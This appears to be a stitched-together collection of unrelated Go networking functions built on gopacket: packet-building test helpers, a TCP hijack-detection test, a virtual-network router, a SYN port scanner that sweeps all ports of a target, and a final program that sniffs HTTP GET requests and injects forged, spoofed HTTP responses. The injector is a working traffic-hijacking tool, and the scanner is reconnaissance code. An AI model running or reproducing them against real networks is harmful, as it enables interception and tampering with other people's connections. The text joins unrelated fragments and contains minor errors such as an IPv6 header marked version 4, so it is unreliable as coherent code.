func makeTestPacket() []byte { var testSeq uint32 = 12345 buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } eth := layers.Ethernet{ SrcMAC: net.HardwareAddr{0xde, 0xad, 0xbe, 0xee, 0xee, 0xff}, DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, } ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SYN: true, SrcPort: 1, DstPort: 2, Seq: testSeq, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}}, } tcp.SetNetworkLayerForChecksum(&ip) gopacket.SerializeLayers(buf, opts, ð, &ip, &tcp) packetData := buf.Bytes() return packetData }
func TestGetOverlapRingsWithZeroRings(t *testing.T) { ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SYN: true, SrcPort: 1, DstPort: 2, } tcp.SetNetworkLayerForChecksum(&ip) payload := gopacket.Payload([]byte{1, 2, 3, 4}) p := types.PacketManifest{ IP: ip, TCP: tcp, Payload: payload, } options := ConnectionOptions{ MaxBufferedPagesTotal: 0, MaxBufferedPagesPerConnection: 0, MaxRingPackets: 40, PageCache: nil, LogDir: "fake-log-dir", } f := &DefaultConnFactory{} conn := f.Build(options).(*Connection) ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) serverFlow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow) clientFlow := serverFlow.Reverse() conn.serverFlow = serverFlow conn.clientFlow = clientFlow head, tail := getOverlapRings(&p, serverFlow, conn.ClientStreamRing) if head == nil || tail == nil { return } else { t.Fail() } return }
func sendPacket(handle *pcap.Handle, sMac, dMac net.HardwareAddr, sIp, dIp net.IP, sPort, dPort layers.TCPPort, IpId uint16, IpTtl uint8, TcpSeq, ack uint32, WindowsSize uint16, data []byte) error { eth := layers.Ethernet{ SrcMAC: sMac, DstMAC: dMac, EthernetType: layers.EthernetTypeIPv4, } ip4 := layers.IPv4{ SrcIP: sIp, DstIP: dIp, Id: IpId, Flags: layers.IPv4DontFragment, Version: 4, TTL: IpTtl, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: sPort, DstPort: dPort, Seq: TcpSeq, ACK: true, Ack: ack, Window: WindowsSize, PSH: true, // 立刻处理 } if len(data) == 0 { tcp.RST = true } tcp.SetNetworkLayerForChecksum(&ip4) buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } payload := gopacket.Payload(data) if err := gopacket.SerializeLayers(buf, opts, ð, &ip4, &tcp, payload); err != nil { return err } return handle.WritePacketData(buf.Bytes()) }
func (r *RawSocketServer) injectPacketFromDst(tcpLayer *layers.TCP, rawBytes []byte) error { // Preparing ipLayer. ipLayer := &layers.IPv4{ SrcIP: r.dst.ip, DstIP: r.src.ip, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } options := gopacket.SerializeOptions{ ComputeChecksums: true, FixLengths: true, } tcpLayer.SrcPort = r.dst.port tcpLayer.DstPort = r.src.port tcpLayer.Window = r.window tcpLayer.Ack = r.ack tcpLayer.Seq = r.seq tcpLayer.SetNetworkLayerForChecksum(ipLayer) // And create the packet with the layers buffer := gopacket.NewSerializeBuffer() gopacket.SerializeLayers(buffer, options, ipLayer, tcpLayer, gopacket.Payload(rawBytes), ) outgoingPacket := buffer.Bytes() p := tuntap.Packet{ Protocol: 0x800, Truncated: false, Packet: outgoingPacket, } return r.iface.WritePacket(&p) }
func TestNewTcpIpFlowFromPacket(t *testing.T) { buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SYN: true, SrcPort: 1, DstPort: 2, Seq: 123, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}}, } tcp.SetNetworkLayerForChecksum(&ip) gopacket.SerializeLayers(buf, opts, &ip, &tcp) packetData := buf.Bytes() flow1, err := NewTcpIpFlowFromPacket(packetData) ipFlow2, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow2, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow2 := NewTcpIpFlowFromFlows(ipFlow2, tcpFlow2) if err != nil && !flow2.Equal(flow1) { t.Error("NewTcpIpFlowFromPacket fail") t.Fail() } flow1, err = NewTcpIpFlowFromPacket([]byte{1, 2, 3, 4, 5, 6, 7}) if err == nil || !flow1.Equal(&TcpIpFlow{}) { t.Error("NewTcpIpFlowFromPacket fail") t.Fail() } }
func TestSequenceFromPacket(t *testing.T) { var testSeq uint32 = 12345 buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SYN: true, SrcPort: 1, DstPort: 2, Seq: testSeq, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}}, } tcp.SetNetworkLayerForChecksum(&ip) gopacket.SerializeLayers(buf, opts, &ip, &tcp) packetData := buf.Bytes() seq, err := SequenceFromPacket(packetData) if err != nil && seq != testSeq { t.Error("SequenceFromPacket failed") t.Fail() } seq, err = SequenceFromPacket([]byte{1, 2, 3}) if err == nil { t.Error("SequenceFromPacket should have failed") t.Fail() } }
// scan scans the dst IP address of this scanner. func (s *scanner) scan() error { // First off, get the MAC address we should be sending packets to. hwaddr, err := s.getHwAddr() if err != nil { return err } // Construct all the network layers we need. eth := layers.Ethernet{ SrcMAC: s.iface.HardwareAddr, DstMAC: hwaddr, EthernetType: layers.EthernetTypeIPv4, } ip4 := layers.IPv4{ SrcIP: s.src, DstIP: s.dst, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: 54321, DstPort: 0, // will be incremented during the scan SYN: true, } tcp.SetNetworkLayerForChecksum(&ip4) // Create the flow we expect returning packets to have, so we can check // against it and discard useless packets. ipFlow := gopacket.NewFlow(layers.EndpointIPv4, s.dst, s.src) start := time.Now() for { // Send one packet per loop iteration until we've sent packets // to all of ports [1, 65535]. if tcp.DstPort < 65535 { start = time.Now() tcp.DstPort++ if err := s.send(ð, &ip4, &tcp); err != nil { log.Printf("error sending to port %v: %v", tcp.DstPort, err) } } // Time out 5 seconds after the last packet we sent. if time.Since(start) > time.Second*5 { log.Printf("timed out for %v, assuming we've seen all we can", s.dst) return nil } // Read in the next packet. data, _, err := s.handle.ReadPacketData() if err == pcap.NextErrorTimeoutExpired { continue } else if err != nil { log.Printf("error reading packet: %v", err) continue } // Parse the packet. We'd use DecodingLayerParser here if we // wanted to be really fast. packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) // Find the packets we care about, and print out logging // information about them. All others are ignored. if net := packet.NetworkLayer(); net == nil { // log.Printf("packet has no network layer") } else if net.NetworkFlow() != ipFlow { // log.Printf("packet does not match our ip src/dst") } else if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer == nil { // log.Printf("packet has not tcp layer") } else if tcp, ok := tcpLayer.(*layers.TCP); !ok { // We panic here because this is guaranteed to never // happen. panic("tcp layer is not tcp layer :-/") } else if tcp.DstPort != 54321 { // log.Printf("dst port %v does not match", tcp.DstPort) } else if tcp.RST { log.Printf(" port %v closed", tcp.SrcPort) } else if tcp.SYN && tcp.ACK { log.Printf(" port %v open", tcp.SrcPort) } else { // log.Printf("ignoring useless packet") } } }
func TestTCPHijack(t *testing.T) { attackLogger := NewDummyAttackLogger() options := ConnectionOptions{ MaxBufferedPagesTotal: 0, MaxBufferedPagesPerConnection: 0, MaxRingPackets: 40, PageCache: nil, LogDir: "fake-log-dir", DetectHijack: true, } f := &DefaultConnFactory{} conn := f.Build(options).(*Connection) conn.AttackLogger = attackLogger ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ Seq: 3, SYN: true, ACK: false, SrcPort: 1, DstPort: 2, } ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow) p := types.PacketManifest{ Timestamp: time.Now(), Flow: flow, IP: ip, TCP: tcp, Payload: []byte{}, } tcp.SetNetworkLayerForChecksum(&ip) flowReversed := flow.Reverse() conn.clientFlow = flow conn.serverFlow = flowReversed conn.ReceivePacket(&p) if conn.state != TCP_CONNECTION_REQUEST { t.Error("invalid state transition\n") t.Fail() } // next state transition test ip = layers.IPv4{ SrcIP: net.IP{2, 3, 4, 5}, DstIP: net.IP{1, 2, 3, 4}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 9, SYN: true, ACK: true, Ack: 4, SrcPort: 2, DstPort: 1, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: flowReversed, IP: ip, TCP: tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if conn.state != TCP_CONNECTION_ESTABLISHED { t.Errorf("invalid state transition: current state %d\n", conn.state) t.Fail() } // test hijack in TCP_CONNECTION_ESTABLISHED state ip = layers.IPv4{ SrcIP: net.IP{2, 3, 4, 5}, DstIP: net.IP{1, 2, 3, 4}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 6699, SYN: true, ACK: true, Ack: 4, SrcPort: 2, DstPort: 1, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: flowReversed, IP: ip, TCP: tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if attackLogger.Count != 1 { t.Error("hijack detection fail") t.Fail() } // next state transition test ip = layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 4, SYN: false, ACK: true, Ack: 10, SrcPort: 1, DstPort: 2, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: flow, IP: ip, TCP: tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if conn.state != TCP_DATA_TRANSFER { t.Errorf("invalid state transition; state is %d\n", conn.state) t.Fail() } // test hijack in TCP_DATA_TRANSFER state ip = layers.IPv4{ SrcIP: net.IP{2, 3, 4, 5}, DstIP: net.IP{1, 2, 3, 4}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp = layers.TCP{ Seq: 7711, SYN: true, ACK: true, Ack: 4, SrcPort: 2, DstPort: 1, } p = types.PacketManifest{ Timestamp: time.Now(), Flow: flowReversed, IP: ip, TCP: tcp, Payload: []byte{}, } conn.ReceivePacket(&p) if attackLogger.Count != 2 { t.Error("hijack detection fail") t.Fail() } }
func (vnet *VNET) handleTCP(pkt *Packet, now time.Time) { // fmt.Printf("TCP: %08x %s\n", pkt.Flags, pkt.String()) defer pkt.Release() var err error if bytes.Equal(pkt.Eth.DstMAC, layers.EthernetBroadcast[:]) { // ignore return } if pkt.DstHost == nil { // ignore return } if !pkt.DstHost.Up { log.Printf("destination is down: %s", pkt.DstHost.Name) // ignore return } var ( srcIP net.IP dstIP net.IP srcPort = uint16(pkt.TCP.SrcPort) dstPort = uint16(pkt.TCP.DstPort) ) if pkt.IPv4 != nil { srcIP = CloneIP(pkt.IPv4.SrcIP.To16()) dstIP = CloneIP(pkt.IPv4.DstIP.To16()) } else if pkt.IPv6 != nil { srcIP = CloneIP(pkt.IPv6.SrcIP.To16()) dstIP = CloneIP(pkt.IPv6.DstIP.To16()) } else { log.Printf("invalid protocol") // ignore return } route := vnet.routes.GetTable().Lookup( protocols.TCP, srcIP, dstIP, srcPort, dstPort) if route == nil { rule, found := vnet.rules.GetTable().Lookup(protocols.TCP, pkt.DstHost.ID, dstPort) if !found { log.Printf("no rule") // ignore return } var ( ruleDstIP = rule.DstIP ruleDstPort = rule.DstPort hostIP net.IP hostPort uint16 ) if ruleDstIP != nil { hostIP = dstIP hostPort, err = vnet.ports.Allocate(pkt.DstHost.ID, protocols.TCP, 0) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } var r routes.Route r.Protocol = protocols.TCP r.HostID = pkt.DstHost.ID r.SetInboundSource(hostIP, hostPort) r.SetInboundDestination(vnet.system.GatewayIPv4(), vnet.proxy.TCPPort) r.SetOutboundDestination(ruleDstIP, rule.DstPort) route, err = vnet.routes.AddRoute(&r) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } ruleDstIP = vnet.system.GatewayIPv4() ruleDstPort = vnet.proxy.TCPPort } if ruleDstIP == nil { gateway := vnet.hosts.GetTable().LookupByName("gateway") if gateway == nil || !gateway.Up { log.Printf("no gateway") // ignore return } if dstIP.To4() != nil { if len(gateway.IPv4Addrs) > 0 { ruleDstIP = gateway.IPv4Addrs[0] } } else { if len(gateway.IPv6Addrs) > 0 { ruleDstIP = gateway.IPv6Addrs[0] } } } if ruleDstIP == nil { log.Printf("no destination ip") // ignore return } var r routes.Route r.Protocol = protocols.TCP r.HostID = pkt.DstHost.ID r.SetInboundSource(srcIP, srcPort) r.SetInboundDestination(dstIP, dstPort) r.SetOutboundSource(hostIP, hostPort) r.SetOutboundDestination(ruleDstIP, ruleDstPort) route, err = vnet.routes.AddRoute(&r) if err != nil { // ignore log.Printf("TCP/error: %s", err) return } } if route == nil { log.Printf("no route") // ignore return } var ( eth layers.Ethernet tcp layers.TCP ) eth = *pkt.Eth eth.SrcMAC = vnet.system.ControllerMAC() eth.DstMAC = vnet.system.GatewayMAC() tcp = *pkt.TCP tcp.SrcPort = layers.TCPPort(route.Outbound.SrcPort) tcp.DstPort = layers.TCPPort(route.Outbound.DstPort) if route.Outbound.DstIP.To4() != nil { ip := layers.IPv4{ SrcIP: route.Outbound.SrcIP.To4(), DstIP: route.Outbound.DstIP.To4(), Version: 4, Protocol: layers.IPProtocolTCP, TTL: 64, } tcp.SetNetworkLayerForChecksum(&ip) err = vnet.writePacket( ð, &ip, &tcp, gopacket.Payload(pkt.TCP.Payload)) if err != nil { log.Printf("TCP/error: %s", err) return } } else { ip := layers.IPv6{ SrcIP: route.Outbound.SrcIP.To16(), DstIP: route.Outbound.DstIP.To16(), Version: 4, NextHeader: layers.IPProtocolTCP, } tcp.SetNetworkLayerForChecksum(&ip) err = vnet.writePacket( ð, &ip, &tcp, gopacket.Payload(pkt.TCP.Payload)) if err != nil { log.Printf("TCP/error: %s", err) return } } route.RoutedPacket(now, len(pkt.buf)) }
func main() { defer util.Run()() var handle *pcap.Handle var err error if *fname != "" { if handle, err = pcap.OpenOffline(*fname); err != nil { log.Fatal("PCAP OpenOffline error:", err) } } else { // This is a little complicated because we want to allow all possible options // for creating the packet capture handle... instead of all this you can // just call pcap.OpenLive if you want a simple handle. inactive, err := pcap.NewInactiveHandle(*iface) if err != nil { log.Fatal("could not create: %v", err) } defer inactive.CleanUp() if err = inactive.SetSnapLen(*snaplen); err != nil { log.Fatal("could not set snap length: %v", err) } else if err = inactive.SetPromisc(*promisc); err != nil { log.Fatal("could not set promisc mode: %v", err) } else if err = inactive.SetTimeout(time.Second); err != nil { log.Fatal("could not set timeout: %v", err) } if *tstype != "" { if t, err := pcap.TimestampSourceFromString(*tstype); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } else if err := inactive.SetTimestampSource(t); err != nil { log.Fatalf("Supported timestamp types: %v", inactive.SupportedTimestamps()) } } inactive.SetImmediateMode(true) if handle, err = inactive.Activate(); err != nil { log.Fatal("PCAP Activate error:", err) } defer handle.Close() if len(flag.Args()) > 0 { bpffilter := strings.Join(flag.Args(), " ") fmt.Fprintf(os.Stderr, "Using BPF filter %q\n", bpffilter) if err = handle.SetBPFFilter(bpffilter); err != nil { log.Fatal("BPF filter error:", err) } } } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil { if tcpLayer.(*layers.TCP).DstPort != 80 { continue } if tcpLayer.(*layers.TCP).SYN || tcpLayer.(*layers.TCP).RST { continue } data := string(tcpLayer.(*layers.TCP).LayerPayload()) if !strings.HasPrefix(data, "GET") { continue } fmt.Println("I got GET packet!") ethLayer := packet.Layer(layers.LayerTypeEthernet) eth := layers.Ethernet{ SrcMAC: ethLayer.(*layers.Ethernet).DstMAC, DstMAC: ethLayer.(*layers.Ethernet).SrcMAC, EthernetType: layers.EthernetTypeIPv4, } ipv4Layer := packet.Layer(layers.LayerTypeIPv4) ipv4 := layers.IPv4{ Version: ipv4Layer.(*layers.IPv4).Version, SrcIP: ipv4Layer.(*layers.IPv4).DstIP, DstIP: ipv4Layer.(*layers.IPv4).SrcIP, TTL: 77, Id: ipv4Layer.(*layers.IPv4).Id, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SrcPort: tcpLayer.(*layers.TCP).DstPort, DstPort: tcpLayer.(*layers.TCP).SrcPort, PSH: true, ACK: true, FIN: true, Seq: tcpLayer.(*layers.TCP).Ack, Ack: tcpLayer.(*layers.TCP).Seq + uint32(len(data)), Window: 0, } tcp.SetNetworkLayerForChecksum(&ipv4) data = `HTTP/1.1 200 OK Server: nginx Date: Tue, 26 Jan 2016 13:09:19 GMT Content-Type: text/plain;charset=UTF-8 Connection: keep-alive Vary: Accept-Encoding Cache-Control: no-store Pragrma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Content-Length: 7 Stupid!` // Set up buffer and options for serialization. buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } if err := gopacket.SerializeLayers(buf, opts, ð, &ipv4, &tcp, gopacket.Payload([]byte(data))); err != nil { fmt.Println(err) } if err := handle.WritePacketData(buf.Bytes()); err != nil { fmt.Println(err) } fmt.Println("I sent Response-hijack packet!") } } // dumpcommand.Run(handle) }